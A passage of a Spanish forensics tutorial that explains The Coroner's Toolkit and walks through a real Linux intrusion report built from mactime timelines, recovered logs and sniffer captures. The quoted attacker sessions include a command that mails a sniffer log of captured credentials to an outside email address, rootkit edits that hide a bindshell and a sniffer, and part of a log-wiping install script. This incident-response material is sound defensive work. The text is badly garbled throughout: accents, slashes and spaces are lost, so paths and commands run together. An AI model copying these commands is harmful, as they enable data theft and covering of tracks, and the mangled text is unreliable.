En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

